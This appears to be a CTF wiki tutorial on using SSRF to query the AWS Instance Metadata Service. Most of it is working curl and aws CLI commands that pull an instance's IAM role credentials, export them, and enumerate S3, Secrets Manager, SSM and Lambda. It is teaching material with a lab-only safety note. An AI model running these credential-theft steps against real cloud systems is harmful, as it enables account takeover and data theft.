Athena Wiki

AWS Metadata (IMDS) Attacks

cloudintermediate

Exploit AWS Instance Metadata Service exposure in CTF cloud and web challenges to extract temporary credentials.

cloudawsimdsmetadatassrfiamcredentials

AWS Metadata (IMDS) Attacks

Every EC2 instance runs a local HTTP service at 169.254.169.254 called the Instance Metadata Service (IMDS). It provides temporary IAM credentials, instance configuration, and user data to applications running on the instance. If a web application on the instance has an SSRF vulnerability, an attacker can reach IMDS and steal those credentials — gaining full access to whatever AWS services the instance's IAM role permits.

This is one of the most common cloud CTF attack chains: SSRF → IMDS → AWS credentials → flag.

Safety note

Do not probe IMDS on systems you do not own or have explicit permission to test. These techniques should only be demonstrated in isolated lab environments.


SSRF → IMDS Attack Chain

Mermaid diagram

Why This Matters in CTF

  • Web challenge provides SSRF primitive (URL fetch, PDF generator, webhook)
  • Internal fetch can reach 169.254.169.254
  • Retrieved creds have over-permissive IAM policy
  • Flag lives in S3, Secrets Manager, Lambda env, or another assumable role

IMDS Endpoints

EndpointPurpose
/latest/meta-data/Enumerate available metadata keys
/latest/meta-data/iam/security-credentials/List attached IAM role name
/latest/meta-data/iam/security-credentials/<ROLE>Return AccessKeyId, SecretAccessKey, Token

IMDSv1 vs IMDSv2

IMDSv1 accepts plain GET requests — exploitable by any SSRF that can make a GET.

# Enumerate role name
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get credentials
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"

Via SSRF:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Full Extraction Walkthrough

Confirm SSRF Callback

Test with a controlled server (Burp Collaborator, interactsh) to confirm the app makes outbound requests.

Get Role Name

ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLE

Extract Credentials

curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > creds.json
cat creds.json

Export and Verify

export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token creds.json)

aws sts get-caller-identity

Enumerate and Find the Flag

aws iam list-attached-role-policies --role-name "$ROLE"
aws s3 ls
aws secretsmanager list-secrets
aws ssm describe-parameters
aws lambda list-functions

Post-Exploitation


Checklist

  • Confirm SSRF callback to controlled server
  • Probe metadata root and IAM role path
  • Handle IMDSv2 token flow if IMDSv1 fails
  • Export creds and run aws sts get-caller-identity
  • Enumerate S3, Secrets Manager, and assumable roles
  • Re-enumerate after every successful AssumeRole step

Last updated on

On this page